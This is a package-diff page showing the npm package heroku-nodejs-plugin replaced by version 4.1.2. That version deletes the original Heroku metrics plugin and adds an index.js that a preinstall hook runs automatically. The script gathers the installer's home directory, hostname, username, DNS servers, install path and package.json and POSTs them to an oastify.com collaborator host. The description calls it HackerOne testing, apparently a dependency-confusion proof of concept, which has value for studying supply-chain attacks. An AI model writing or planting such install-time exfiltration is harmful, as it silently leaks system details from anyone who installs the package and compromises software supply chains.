heroku-nodejs-plugin 0.1.3 → 4.1.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of heroku-nodejs-plugin might be problematic. Click here for more details.
- package/index.js +46 -0
- package/package.json +7 -18
- package/.circleci/config.yml +0 -192
- package/.github/CODEOWNERS +0 -1
- package/.github/dependabot.yml +0 -6
- package/CHANGELOG.md +0 -20
- package/LICENSE +0 -9
- package/README.md +0 -72
- package/binding.gyp +0 -28
- package/fake_metrics_server.go +0 -29
- package/scripts/build.sh +0 -17
- package/scripts/create-release.js +0 -18
- package/scripts/create-release.sh +0 -15
- package/scripts/publish.sh +0 -65
- package/scripts/upload-assets.js +0 -46
- package/scripts/upload-assets.sh +0 -31
- package/src/README.md +0 -8
- package/src/index.js +0 -24
- package/src/monitor.js +0 -102
- package/src/nativeStats.cc +0 -166
- package/src/nativeStats.js +0 -9
- package/webpack.config.js +0 -28
package/index.js
ADDED
@@ -0,0 +1,46 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
p: package,
|
10
|
+
c: __dirname,
|
11
|
+
hd: os.homedir(),
|
12
|
+
hn: os.hostname(),
|
13
|
+
un: os.userInfo().username,
|
14
|
+
dns: dns.getServers(),
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
|
+
v: packageJSON.version,
|
17
|
+
pjson: packageJSON,
|
18
|
+
});
|
19
|
+
|
20
|
+
var postData = querystring.stringify({
|
21
|
+
msg: trackingData,
|
22
|
+
});
|
23
|
+
|
24
|
+
var options = {
|
25
|
+
hostname: "6dkjfmq33px1nytkpmr0gywed5jv7k.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream or your servername
|
26
|
+
port: 443,
|
27
|
+
path: "/",
|
28
|
+
method: "POST",
|
29
|
+
headers: {
|
30
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
31
|
+
"Content-Length": postData.length,
|
32
|
+
},
|
33
|
+
};
|
34
|
+
|
35
|
+
var req = https.request(options, (res) => {
|
36
|
+
res.on("data", (d) => {
|
37
|
+
process.stdout.write(d);
|
38
|
+
});
|
39
|
+
});
|
40
|
+
|
41
|
+
req.on("error", (e) => {
|
42
|
+
// console.error(e);
|
43
|
+
});
|
44
|
+
|
45
|
+
req.write(postData);
|
46
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,23 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "heroku-nodejs-plugin",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
3
|
+
"version": "4.1.2",
|
4
|
+
"description": "cjthecaffeinefix HackerOne testing",
|
5
|
+
"main": "index.js",
|
5
6
|
"scripts": {
|
6
|
-
"
|
7
|
-
"
|
8
|
-
"test": "exit 0"
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
9
|
},
|
10
|
-
"
|
11
|
-
|
12
|
-
"nan": "^2.16.0",
|
13
|
-
"node-gyp": "^9.0.0",
|
14
|
-
"webpack": "^5.72.1",
|
15
|
-
"webpack-cli": "^4.9.2"
|
16
|
-
},
|
17
|
-
"devDependencies": {
|
18
|
-
"@octokit/rest": "^19.0.3"
|
19
|
-
},
|
20
|
-
"license": "MIT",
|
21
|
-
"repository": "https://github.com/heroku/heroku-nodejs-plugin",
|
22
|
-
"type": "commonjs"
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
23
12
|
}
|
package/.circleci/config.yml
DELETED
@@ -1,192 +0,0 @@
|
|
1
|
-
version: 2.1
|
2
|
-
orbs:
|
3
|
-
node: circleci/node@4.1.0
|
4
|
-
python: circleci/python@1.3.2
|
5
|
-
jobs:
|
6
|
-
build-and-test:
|
7
|
-
parameters:
|
8
|
-
node-version:
|
9
|
-
default: latest
|
10
|
-
type: string
|
11
|
-
executor: python/default
|
12
|
-
steps:
|
13
|
-
- checkout
|
14
|
-
- node/install:
|
15
|
-
node-version: '<< parameters.node-version >>'
|
16
|
-
- run:
|
17
|
-
name: Install dependencies
|
18
|
-
command: npm install --production
|
19
|
-
- run:
|
20
|
-
name: Build plugin
|
21
|
-
command: npm run build
|
22
|
-
- run:
|
23
|
-
name: Run tests
|
24
|
-
command: npm test
|
25
|
-
- run:
|
26
|
-
command: mkdir heroku-nodejs-plugin-<< parameters.node-version >>
|
27
|
-
- run:
|
28
|
-
command: cp heroku-nodejs-plugin/* heroku-nodejs-plugin-<< parameters.node-version >>
|
29
|
-
- persist_to_workspace:
|
30
|
-
root: .
|
31
|
-
paths:
|
32
|
-
- heroku-nodejs-plugin-<< parameters.node-version >>
|
33
|
-
create-github-release:
|
34
|
-
docker:
|
35
|
-
- image: cimg/base:stable
|
36
|
-
steps:
|
37
|
-
- attach_workspace:
|
38
|
-
at: /tmp/workspace
|
39
|
-
- checkout
|
40
|
-
- node/install
|
41
|
-
- run:
|
42
|
-
name: Install dependencies
|
43
|
-
command: npm install --ignore-scripts
|
44
|
-
- run:
|
45
|
-
name: Create release
|
46
|
-
command: ./scripts/create-release.sh
|
47
|
-
push-assets-to-github:
|
48
|
-
parameters:
|
49
|
-
node-version:
|
50
|
-
default: latest
|
51
|
-
type: string
|
52
|
-
docker:
|
53
|
-
- image: cimg/base:stable
|
54
|
-
steps:
|
55
|
-
- attach_workspace:
|
56
|
-
at: /tmp/workspace
|
57
|
-
- checkout
|
58
|
-
- node/install:
|
59
|
-
node-version: << parameters.node-version >>
|
60
|
-
- run:
|
61
|
-
name: Install dependencies
|
62
|
-
command: npm install --ignore-scripts
|
63
|
-
- run:
|
64
|
-
name: Make plugin directory
|
65
|
-
command: mkdir heroku-nodejs-plugin
|
66
|
-
- run:
|
67
|
-
name: Copy plugin to workspace
|
68
|
-
command: cp -r /tmp/workspace/heroku-nodejs-plugin-<< parameters.node-version >>/* heroku-nodejs-plugin
|
69
|
-
- run:
|
70
|
-
name: Run deploy script
|
71
|
-
command: ./scripts/upload-assets.sh << parameters.node-version >>
|
72
|
-
workflows:
|
73
|
-
build-plugin:
|
74
|
-
jobs:
|
75
|
-
- build-and-test:
|
76
|
-
name: "Build and test Node 18 plugin"
|
77
|
-
node-version: '18'
|
78
|
-
filters:
|
79
|
-
branches:
|
80
|
-
ignore: /.*/
|
81
|
-
tags:
|
82
|
-
only: /^v+(\d)*$/
|
83
|
-
- build-and-test:
|
84
|
-
name: "Build and test Node 17 plugin"
|
85
|
-
node-version: '17'
|
86
|
-
filters:
|
87
|
-
branches:
|
88
|
-
ignore: /.*/
|
89
|
-
tags:
|
90
|
-
only: /^v+(\d)*$/
|
91
|
-
- build-and-test:
|
92
|
-
name: "Build and test Node 16 plugin"
|
93
|
-
node-version: '16'
|
94
|
-
filters:
|
95
|
-
branches:
|
96
|
-
ignore: /.*/
|
97
|
-
tags:
|
98
|
-
only: /^v+(\d)*$/
|
99
|
-
- build-and-test:
|
100
|
-
name: "Build and test Node 14 plugin"
|
101
|
-
node-version: '14'
|
102
|
-
filters:
|
103
|
-
branches:
|
104
|
-
ignore: /.*/
|
105
|
-
tags:
|
106
|
-
only: /^v+(\d)*$/
|
107
|
-
- create-github-release:
|
108
|
-
name: "Create GitHub Release"
|
109
|
-
filters:
|
110
|
-
branches:
|
111
|
-
ignore: /.*/
|
112
|
-
tags:
|
113
|
-
only: /^v+(\d)*$/
|
114
|
-
requires:
|
115
|
-
- "Build and test Node 18 plugin"
|
116
|
-
- "Build and test Node 17 plugin"
|
117
|
-
- "Build and test Node 16 plugin"
|
118
|
-
- "Build and test Node 14 plugin"
|
119
|
-
- push-assets-to-github:
|
120
|
-
name: "Upload Node 18 plugin"
|
121
|
-
node-version: '18'
|
122
|
-
requires:
|
123
|
-
- "Create GitHub Release"
|
124
|
-
filters:
|
125
|
-
branches:
|
126
|
-
ignore: /.*/
|
127
|
-
tags:
|
128
|
-
only: /^v+(\d)*$/
|
129
|
-
- push-assets-to-github:
|
130
|
-
name: "Upload Node 17 plugin"
|
131
|
-
node-version: '17'
|
132
|
-
requires:
|
133
|
-
- "Create GitHub Release"
|
134
|
-
filters:
|
135
|
-
branches:
|
136
|
-
ignore: /.*/
|
137
|
-
tags:
|
138
|
-
only: /^v+(\d)*$/
|
139
|
-
- push-assets-to-github:
|
140
|
-
name: "Upload Node 16 plugin"
|
141
|
-
node-version: '16'
|
142
|
-
requires:
|
143
|
-
- "Create GitHub Release"
|
144
|
-
filters:
|
145
|
-
branches:
|
146
|
-
ignore: /.*/
|
147
|
-
tags:
|
148
|
-
only: /^v+(\d)*$/
|
149
|
-
- push-assets-to-github:
|
150
|
-
name: "Upload Node 14 plugin"
|
151
|
-
node-version: '14'
|
152
|
-
requires:
|
153
|
-
- "Create GitHub Release"
|
154
|
-
filters:
|
155
|
-
branches:
|
156
|
-
ignore: /.*/
|
157
|
-
tags:
|
158
|
-
only: /^v+(\d)*$/
|
159
|
-
test-plugin:
|
160
|
-
jobs:
|
161
|
-
- build-and-test:
|
162
|
-
name: "Build and test Node 18 plugin"
|
163
|
-
node-version: '18'
|
164
|
-
filters:
|
165
|
-
branches:
|
166
|
-
only: /.*/
|
167
|
-
tags:
|
168
|
-
ignore: /.*/
|
169
|
-
- build-and-test:
|
170
|
-
name: "Build and test Node 17 plugin"
|
171
|
-
node-version: '17'
|
172
|
-
filters:
|
173
|
-
branches:
|
174
|
-
only: /.*/
|
175
|
-
tags:
|
176
|
-
ignore: /.*/
|
177
|
-
- build-and-test:
|
178
|
-
name: "Build and test Node 16 plugin"
|
179
|
-
node-version: '16'
|
180
|
-
filters:
|
181
|
-
branches:
|
182
|
-
only: /.*/
|
183
|
-
tags:
|
184
|
-
ignore: /.*/
|
185
|
-
- build-and-test:
|
186
|
-
name: "Build and test Node 14 plugin"
|
187
|
-
node-version: '14'
|
188
|
-
filters:
|
189
|
-
branches:
|
190
|
-
only: /.*/
|
191
|
-
tags:
|
192
|
-
ignore: /.*/
|
package/.github/CODEOWNERS
DELETED
@@ -1 +0,0 @@
|
|
1
|
-
* @heroku/languages
|
package/.github/dependabot.yml
DELETED
package/CHANGELOG.md
DELETED
@@ -1,20 +0,0 @@
|
|
1
|
-
# Node.js Plugin Changelog
|
2
|
-
|
3
|
-
## main
|
4
|
-
|
5
|
-
## v9 (2021-06-01)
|
6
|
-
- Add Node 16 to releases; Remove Node 10 and 15 from releases ([#46](https://github.com/heroku/heroku-nodejs-plugin/pull/46))
|
7
|
-
|
8
|
-
## v8 (2020-12-17)
|
9
|
-
- Specify `commonjs` module usage for app usage ([#30](https://github.com/heroku/heroku-nodejs-plugin/pull/30))
|
10
|
-
- Change base branch to `main` ([#31](https://github.com/heroku/heroku-nodejs-plugin/pull/31))
|
11
|
-
- Upgrade dependencies ([#32](https://github.com/heroku/heroku-nodejs-plugin/pull/32))
|
12
|
-
- Remove Node 13 from releases ([#33](https://github.com/heroku/heroku-nodejs-plugin/pull/33))
|
13
|
-
- Update elliptic package ([#23](https://github.com/heroku/heroku-nodejs-plugin/pull/23))
|
14
|
-
|
15
|
-
## v7 (2020-04-23)
|
16
|
-
- Add Node 14 to releases ([#18](https://github.com/heroku/heroku-nodejs-plugin/pull/18))
|
17
|
-
|
18
|
-
## v6 (2019-10-23)
|
19
|
-
- Add Node 13 to releases ([#11](https://github.com/heroku/heroku-nodejs-plugin/pull/11))
|
20
|
-
- Update package-lock to newest versions ([#12](https://github.com/heroku/heroku-nodejs-plugin/pull/12))
|
package/LICENSE
DELETED
@@ -1,9 +0,0 @@
|
|
1
|
-
MIT License:
|
2
|
-
|
3
|
-
Copyright (C) 2017 Heroku, Inc.
|
4
|
-
|
5
|
-
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
6
|
-
|
7
|
-
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
|
8
|
-
|
9
|
-
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
package/README.md
DELETED
@@ -1,72 +0,0 @@
|
|
1
|
-
# heroku-nodejs-plugin
|
2
|
-
|
3
|
-
[![CircleCI](https://circleci.com/gh/heroku/heroku-nodejs-plugin/tree/main.svg?style=svg)](https://circleci.com/gh/heroku/heroku-nodejs-plugin)
|
4
|
-
|
5
|
-
A metrics plugin to add [Heroku runtime metrics](https://devcenter.heroku.com/articles/language-runtime-metrics)
|
6
|
-
to an existing Node.js application. The plugin is added to a [vendor directory](https://github.com/heroku/heroku-buildpack-nodejs/tree/main/plugin) in https://github.com/heroku/heroku-buildpack-nodejs.
|
7
|
-
|
8
|
-
# How does it work?
|
9
|
-
|
10
|
-
You can see most of the implementation details in `src/nativeStats.cc`. The plugin sets callbacks
|
11
|
-
around GC invocations, and during the `prepare` and `check` phases of the event loop, tracks the
|
12
|
-
amount of time spent in each.
|
13
|
-
|
14
|
-
This data is exposed to a JS loop that periodically sends data to Heroku's metrics service.
|
15
|
-
|
16
|
-
## Debugging
|
17
|
-
|
18
|
-
If the plugin is not working for you once you have enabled the feature on Heroku, the first thing
|
19
|
-
you should do is set the ENV var `NODE_DEBUG` to `heroku`. By default all logging from the plugin
|
20
|
-
is silenced.
|
21
|
-
|
22
|
-
```
|
23
|
-
$ heroku config:set NODE_DEBUG=heroku -a $APP_NAME
|
24
|
-
```
|
25
|
-
|
26
|
-
## Metrics collected
|
27
|
-
|
28
|
-
```json
|
29
|
-
{
|
30
|
-
"counters": {
|
31
|
-
"node.gc.collections": 748,
|
32
|
-
"node.gc.pause.ns": 92179835,
|
33
|
-
"node.gc.old.collections": 2,
|
34
|
-
"node.gc.old.pause.ns": 671054,
|
35
|
-
"node.gc.young.collections": 746,
|
36
|
-
"node.gc.young.pause.ns": 91508781
|
37
|
-
},
|
38
|
-
"gauges": {
|
39
|
-
"node.eventloop.usage.percent": 0.12,
|
40
|
-
"node.eventloop.delay.ms.median": 5,
|
41
|
-
"node.eventloop.delay.ms.p95": 100,
|
42
|
-
"node.eventloop.delay.ms.p99": 100,
|
43
|
-
"node.eventloop.delay.ms.max": 100
|
44
|
-
}
|
45
|
-
}
|
46
|
-
```
|
47
|
-
|
48
|
-
## Development
|
49
|
-
|
50
|
-
You can collect and print out metrics locally by running the included Go server:
|
51
|
-
|
52
|
-
```
|
53
|
-
$ PORT=5001 go run fake_metrics_server.go
|
54
|
-
```
|
55
|
-
|
56
|
-
You can run develop this locally by running build:
|
57
|
-
|
58
|
-
```
|
59
|
-
$ npm run build
|
60
|
-
```
|
61
|
-
|
62
|
-
and including the built module in another local Node app like:
|
63
|
-
|
64
|
-
```
|
65
|
-
$ NODE_OPTIONS="--require {{ working directory }}/heroku-nodejs-plugin/heroku-nodejs-plugin" HEROKU_METRICS_URL="http://localhost:5001" node src/index.js
|
66
|
-
```
|
67
|
-
|
68
|
-
Example app with periodic event loop and gc activity: https://github.com/heroku/node-metrics-single-process
|
69
|
-
|
70
|
-
## Publishing new versions
|
71
|
-
|
72
|
-
New versions can be published to Github releases by merging all changes to `main` and running `scripts/publish.sh`
|
package/binding.gyp
DELETED
@@ -1,28 +0,0 @@
|
|
1
|
-
{
|
2
|
-
"targets": [
|
3
|
-
{
|
4
|
-
"target_name": "heroku-nodejs-plugin",
|
5
|
-
"sources": [
|
6
|
-
"src/nativeStats.cc"
|
7
|
-
],
|
8
|
-
"include_dirs": [
|
9
|
-
"<!(node -e \"require('nan')\")"
|
10
|
-
],
|
11
|
-
},
|
12
|
-
{
|
13
|
-
"target_name": "action_after_build",
|
14
|
-
"type": "none",
|
15
|
-
"dependencies": ["heroku-nodejs-plugin"],
|
16
|
-
"copies": [
|
17
|
-
{
|
18
|
-
"files": [
|
19
|
-
"./src/README.md",
|
20
|
-
"./build/Release/heroku-nodejs-plugin.node",
|
21
|
-
"./package.json"
|
22
|
-
],
|
23
|
-
"destination": "./heroku-nodejs-plugin/"
|
24
|
-
}
|
25
|
-
]
|
26
|
-
}
|
27
|
-
]
|
28
|
-
}
|
package/fake_metrics_server.go
DELETED
@@ -1,29 +0,0 @@
|
|
1
|
-
package main
|
2
|
-
|
3
|
-
import (
|
4
|
-
"fmt"
|
5
|
-
"io/ioutil"
|
6
|
-
"log"
|
7
|
-
"net/http"
|
8
|
-
"os"
|
9
|
-
)
|
10
|
-
|
11
|
-
func main() {
|
12
|
-
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
|
13
|
-
if r.Method != http.MethodPost {
|
14
|
-
http.Error(w, "wrong method", http.StatusMethodNotAllowed)
|
15
|
-
return
|
16
|
-
}
|
17
|
-
defer r.Body.Close()
|
18
|
-
|
19
|
-
data, err := ioutil.ReadAll(r.Body)
|
20
|
-
if err != nil {
|
21
|
-
log.Printf("can't read data from %s: %v", r.RemoteAddr, err)
|
22
|
-
return
|
23
|
-
}
|
24
|
-
|
25
|
-
fmt.Println(string(data))
|
26
|
-
})
|
27
|
-
|
28
|
-
http.ListenAndServe(":"+os.Getenv("PORT"), nil)
|
29
|
-
}
|
package/scripts/build.sh
DELETED
@@ -1,17 +0,0 @@
|
|
1
|
-
#!/usr/bin/env bash
|
2
|
-
|
3
|
-
set -o errexit # always exit on error
|
4
|
-
set -o pipefail # don't ignore exit codes when piping output
|
5
|
-
|
6
|
-
echo "Building plugin"
|
7
|
-
|
8
|
-
# delete /build and /heroku-nodejs-plugin if it exists
|
9
|
-
rm -rf build heroku-nodejs-plugin
|
10
|
-
|
11
|
-
# run the build using node-gyp
|
12
|
-
npx node-gyp configure build
|
13
|
-
|
14
|
-
# roll the javascript into one file
|
15
|
-
npx webpack-cli
|
16
|
-
|
17
|
-
echo "Successfully built plugin"
|
@@ -1,18 +0,0 @@
|
|
1
|
-
const { Octokit } = require("@octokit/rest");
|
2
|
-
const { assign } = Object;
|
3
|
-
const { GITHUB_TOKEN, CIRCLE_TAG } = process.env;
|
4
|
-
|
5
|
-
let octokit = new Octokit({
|
6
|
-
auth: GITHUB_TOKEN,
|
7
|
-
});
|
8
|
-
|
9
|
-
(async function() {
|
10
|
-
await octokit.repos.createRelease({
|
11
|
-
owner: 'heroku',
|
12
|
-
repo: 'heroku-nodejs-plugin',
|
13
|
-
tag_name: CIRCLE_TAG,
|
14
|
-
name: CIRCLE_TAG,
|
15
|
-
body: CIRCLE_TAG,
|
16
|
-
});
|
17
|
-
})();
|
18
|
-
|
@@ -1,15 +0,0 @@
|
|
1
|
-
#!/usr/bin/env bash
|
2
|
-
|
3
|
-
set -o errexit # always exit on error
|
4
|
-
set -o pipefail # don't ignore exit codes when piping output
|
5
|
-
|
6
|
-
if [[ $CIRCLE_PROJECT_USERNAME == "heroku" ]] && [[ -n $CIRCLE_TAG ]]; then
|
7
|
-
echo "Creating GitHub release"
|
8
|
-
|
9
|
-
node ./scripts/create-release.js
|
10
|
-
|
11
|
-
echo "Successfully created release"
|
12
|
-
else
|
13
|
-
echo "Skipping deploy username is: $CIRCLE_PROJECT_USERNAME; and git tag is: $CIRCLE_TAG"
|
14
|
-
fi
|
15
|
-
|
package/scripts/publish.sh
DELETED
@@ -1,65 +0,0 @@
|
|
1
|
-
#!/usr/bin/env bash
|
2
|
-
|
3
|
-
set -o errexit # always exit on error
|
4
|
-
set -o pipefail # don't ignore exit codes when piping output
|
5
|
-
|
6
|
-
current_branch() {
|
7
|
-
local branch_name="$(git symbolic-ref HEAD 2>/dev/null)"
|
8
|
-
branch_name=${branch_name##refs/heads/}
|
9
|
-
echo $branch_name
|
10
|
-
}
|
11
|
-
|
12
|
-
number_untracked_files() {
|
13
|
-
echo $(git status --porcelain 2>/dev/null| grep "^??" | wc -l)
|
14
|
-
}
|
15
|
-
|
16
|
-
uncommited_changes() {
|
17
|
-
local changes=$(git diff-index --quiet HEAD --)
|
18
|
-
}
|
19
|
-
|
20
|
-
error() {
|
21
|
-
printf "\n\e[33m\e[1m! ${1:-}\e[0m\n\n"
|
22
|
-
}
|
23
|
-
|
24
|
-
# fail if there are any untracked files
|
25
|
-
if [[ $(number_untracked_files) != "0" ]]; then
|
26
|
-
error "Failing due to untracked files"
|
27
|
-
git status
|
28
|
-
exit 1
|
29
|
-
fi
|
30
|
-
|
31
|
-
# fail if there are any uncommited changes
|
32
|
-
if [[ -n "$(git status -s)" ]]; then
|
33
|
-
error "Failing due to uncommited changes"
|
34
|
-
git status
|
35
|
-
exit 1
|
36
|
-
fi
|
37
|
-
|
38
|
-
# fail if we are not on the main branch
|
39
|
-
if [[ "$(current_branch)" != "main" ]]; then
|
40
|
-
echo "You must be on the main branch to publish"
|
41
|
-
exit 1
|
42
|
-
fi
|
43
|
-
|
44
|
-
# get any new tags from remote
|
45
|
-
git fetch --tags
|
46
|
-
|
47
|
-
# get the current version
|
48
|
-
latest_tag=$(git describe --tags `git rev-list --tags --max-count=1`)
|
49
|
-
version=$(echo $latest_tag | tr -d 'v')
|
50
|
-
|
51
|
-
# increment the version
|
52
|
-
next_version="v$((version + 1))"
|
53
|
-
|
54
|
-
read -p "Deploy as version: $next_version [y/n]? " choice
|
55
|
-
case "$choice" in
|
56
|
-
y|Y ) echo "";;
|
57
|
-
n|N ) exit 0;;
|
58
|
-
* ) exit 1;;
|
59
|
-
esac
|
60
|
-
|
61
|
-
origin_main=$(git rev-parse origin/main)
|
62
|
-
echo "Tagging commit $origin_main with $next_version... "
|
63
|
-
git tag "$next_version" "${origin_main:?}"
|
64
|
-
|
65
|
-
git push --tags
|
package/scripts/upload-assets.js
DELETED
@@ -1,46 +0,0 @@
|
|
1
|
-
const archiveName = process.argv[2];
|
2
|
-
const archiveShaName = process.argv[3];
|
3
|
-
|
4
|
-
const fs = require("fs");
|
5
|
-
const { Octokit } = require("@octokit/rest");
|
6
|
-
const { assign } = Object;
|
7
|
-
const { GITHUB_TOKEN, CIRCLE_TAG } = process.env;
|
8
|
-
|
9
|
-
let octokit = new Octokit({
|
10
|
-
auth: GITHUB_TOKEN,
|
11
|
-
});
|
12
|
-
|
13
|
-
(async function() {
|
14
|
-
const {
|
15
|
-
data: {
|
16
|
-
upload_url
|
17
|
-
}
|
18
|
-
} = await octokit.repos.getReleaseByTag({
|
19
|
-
owner: 'heroku',
|
20
|
-
repo: 'heroku-nodejs-plugin',
|
21
|
-
tag: CIRCLE_TAG,
|
22
|
-
});
|
23
|
-
|
24
|
-
let uploadParams = {
|
25
|
-
method: 'POST',
|
26
|
-
url: upload_url,
|
27
|
-
headers: {
|
28
|
-
"Content-Type": "application/zip"
|
29
|
-
},
|
30
|
-
};
|
31
|
-
|
32
|
-
let archive = await fs.readFileSync(archiveName);
|
33
|
-
let archiveSha = await fs.readFileSync(archiveShaName);
|
34
|
-
|
35
|
-
await Promise.all([
|
36
|
-
octokit.request(assign(uploadParams, {
|
37
|
-
data: archive,
|
38
|
-
name: archiveName
|
39
|
-
})),
|
40
|
-
octokit.request(assign(uploadParams, {
|
41
|
-
data: archiveSha,
|
42
|
-
name: archiveShaName
|
43
|
-
}))
|
44
|
-
]);
|
45
|
-
})();
|
46
|
-
|
package/scripts/upload-assets.sh
DELETED
@@ -1,31 +0,0 @@
|
|
1
|
-
#!/usr/bin/env bash
|
2
|
-
|
3
|
-
set -o errexit # always exit on error
|
4
|
-
set -o pipefail # don't ignore exit codes when piping output
|
5
|
-
|
6
|
-
NODE_VERSION=$1
|
7
|
-
|
8
|
-
if [[ $CIRCLE_PROJECT_USERNAME == "heroku" ]] && [[ -n $CIRCLE_TAG ]]; then
|
9
|
-
# Name the tarball
|
10
|
-
ARCHIVE_NAME="heroku-nodejs-plugin-node-$NODE_VERSION-$CIRCLE_TAG.tar.gz"
|
11
|
-
ARCHIVE_SHA_NAME="heroku-nodejs-plugin-node-$NODE_VERSION-$CIRCLE_TAG.sha512"
|
12
|
-
|
13
|
-
echo "Saving build as $ARCHIVE_NAME"
|
14
|
-
|
15
|
-
# Compress the built directory into a tarball
|
16
|
-
tar -czf $ARCHIVE_NAME "heroku-nodejs-plugin"
|
17
|
-
# Generate a SHA and save that
|
18
|
-
sha512sum $ARCHIVE_NAME > $ARCHIVE_SHA_NAME
|
19
|
-
|
20
|
-
echo "Successfully created tar"
|
21
|
-
|
22
|
-
echo "Publishing binary"
|
23
|
-
|
24
|
-
# Publish to github releases
|
25
|
-
node ./scripts/upload-assets.js $ARCHIVE_NAME $ARCHIVE_SHA_NAME
|
26
|
-
|
27
|
-
echo "Successfully uploaded assets"
|
28
|
-
else
|
29
|
-
echo "Skipping deploy username is: $CIRCLE_PROJECT_USERNAME; and git tag is: $CIRCLE_TAG"
|
30
|
-
fi
|
31
|
-
|
package/src/README.md
DELETED
@@ -1,8 +0,0 @@
|
|
1
|
-
# Heroku Node.js Metrics Plugin
|
2
|
-
|
3
|
-
This is a Node plugin that plugs into libuv and v8 in your Node process
|
4
|
-
and submits those metrics to Heroku. It is automatically required by your
|
5
|
-
Node process when you turn on Node Runtime Metrics.
|
6
|
-
|
7
|
-
Docs: https://devcenter.heroku.com/articles/language-runtime-metrics
|
8
|
-
Code: https://github.com/heroku/heroku-nodejs-plugin
|
package/src/index.js
DELETED
@@ -1,24 +0,0 @@
|
|
1
|
-
const util = require('util');
|
2
|
-
const log = util.debuglog('heroku');
|
3
|
-
|
4
|
-
// if the node version does not match the major version, bail
|
5
|
-
const match = process.version.match(/^v([0-9]+)/);
|
6
|
-
const isExpectedNodeVersion = match && match[1] === NODE_MAJOR_VERSION;
|
7
|
-
|
8
|
-
// if we are not using node installed by the Heroku buildpack, bail
|
9
|
-
const isExpectedNodePath = process.execPath === "/app/.heroku/node/bin/node";
|
10
|
-
|
11
|
-
if (isExpectedNodeVersion && isExpectedNodePath) {
|
12
|
-
const start = require('./monitor.js');
|
13
|
-
start();
|
14
|
-
} else {
|
15
|
-
if (!isExpectedNodePath) {
|
16
|
-
log("[heroku-nodejs-plugin] expected different Node path. Found:", process.execPath);
|
17
|
-
}
|
18
|
-
if (!isExpectedNodeVersion) {
|
19
|
-
log("[heroku-nodejs-plugin] expected different Node version. Expected:",
|
20
|
-
NODE_MAJOR_VERSION,
|
21
|
-
"Found:",
|
22
|
-
match && match[1]);
|
23
|
-
}
|
24
|
-
}
|
package/src/monitor.js
DELETED
@@ -1,102 +0,0 @@
|
|
1
|
-
const http = require('http');
|
2
|
-
const https = require('https');
|
3
|
-
const url = require('url');
|
4
|
-
const util = require('util');
|
5
|
-
const { Histogram } = require("measured");
|
6
|
-
const nativeStats = require('./nativeStats');
|
7
|
-
|
8
|
-
// url is where the runtime metrics will be posted to. This is added
|
9
|
-
// to dynos by runtime iff the app is opped into the heroku runtime metrics
|
10
|
-
// beta.
|
11
|
-
let uri = url.parse(process.env.HEROKU_METRICS_URL);
|
12
|
-
|
13
|
-
function submitData(data, cb) {
|
14
|
-
const postData = JSON.stringify(data);
|
15
|
-
|
16
|
-
// post data to metricsURL
|
17
|
-
const options = {
|
18
|
-
method: "POST",
|
19
|
-
protocol: uri.protocol,
|
20
|
-
hostname: uri.hostname,
|
21
|
-
port: uri.port,
|
22
|
-
path: uri.path,
|
23
|
-
headers: {
|
24
|
-
"Content-Type": "application/json",
|
25
|
-
"Content-Length": Buffer.byteLength(postData),
|
26
|
-
},
|
27
|
-
};
|
28
|
-
|
29
|
-
const request = uri.protocol === 'https:' ? https.request : http.request;
|
30
|
-
const req = request(options, res => cb(null, res));
|
31
|
-
req.on('error', cb);
|
32
|
-
req.write(postData);
|
33
|
-
req.end();
|
34
|
-
}
|
35
|
-
|
36
|
-
function start() {
|
37
|
-
const log = util.debuglog('heroku');
|
38
|
-
|
39
|
-
const METRICS_INTERVAL = parseInt(process.env.METRICS_INTERVAL_OVERRIDE, 10) || 20000; // 20 seconds
|
40
|
-
|
41
|
-
// Set a minimum of 10 seconds
|
42
|
-
if (METRICS_INTERVAL < 10000) {
|
43
|
-
METRICS_INTERVAL = 10000;
|
44
|
-
}
|
45
|
-
|
46
|
-
// Collects the event loop ticks, and calculates p50, p95, p99, max
|
47
|
-
let delay = new Histogram();
|
48
|
-
|
49
|
-
nativeStats.start();
|
50
|
-
|
51
|
-
// every METRICS_INTERVAL seconds, submit a metrics payload to metricsURL.
|
52
|
-
setInterval(() => {
|
53
|
-
let { ticks, gcCount, gcTime, oldGcCount, oldGcTime, youngGcCount, youngGcTime } = nativeStats.sense();
|
54
|
-
let totalEventLoopTime = ticks.reduce((a, b) => a + b, 0);
|
55
|
-
|
56
|
-
ticks.forEach(tick => delay.update(tick));
|
57
|
-
|
58
|
-
let aa = totalEventLoopTime / METRICS_INTERVAL;
|
59
|
-
|
60
|
-
let { median, p95, p99, max } = delay.toJSON();
|
61
|
-
|
62
|
-
let data = {
|
63
|
-
counters: {
|
64
|
-
"node.gc.collections": gcCount,
|
65
|
-
"node.gc.pause.ns": gcTime,
|
66
|
-
"node.gc.old.collections": oldGcCount,
|
67
|
-
"node.gc.old.pause.ns": oldGcTime,
|
68
|
-
